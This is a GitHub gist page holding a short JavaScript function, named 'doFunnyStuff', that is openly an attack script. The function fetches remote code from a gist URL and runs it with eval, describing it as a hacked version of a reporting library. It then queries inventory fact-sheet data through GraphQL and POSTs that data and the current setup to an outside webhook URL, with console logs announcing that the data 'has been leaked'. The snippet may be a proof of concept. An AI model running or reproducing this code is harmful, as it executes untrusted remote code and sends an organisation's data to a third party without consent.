Last active
October 6, 2024 11:53
-
-
Save psantos9/f92a1cd16368f63a65012cbb868b34a7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const doFunnyStuff = async () => { | |
| // install an hacked version of the ***/reporting library | |
| await fetch("https://gist.github.com/psantos9/48d7e2fd1d3777d8d3d39a9a307a2bd6/raw/init.txt") | |
| .then((res) => res.text()) | |
| .then((code) => eval(code)) | |
| console.log('loaded hacked library...') | |
| await lxHacked.init() | |
| console.log('initialized hacked library') | |
| console.log('fetching inventory data...') | |
| const inventory = await lxHacked.executeGraphQL("{allFactSheets{edges{node{id type name}}}}") | |
| console.log('got inventory data...') | |
| const body = JSON.stringify({ currentSetup: lxHacked.currentSetup, inventory }) | |
| console.log('leaking data...') | |
| const url = 'https://webhook-test.com/540f61ea37ba8d8ed82d863a02adfd69' | |
| await fetch(url, { | |
| method: "POST", | |
| headers: { | |
| Accept: "application/json", | |
| "Content-Type": "application/json", | |
| }, | |
| body, | |
| }); | |
| console.log('data has been leaked, available at', url) | |
| } | |
| doFunnyStuff() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment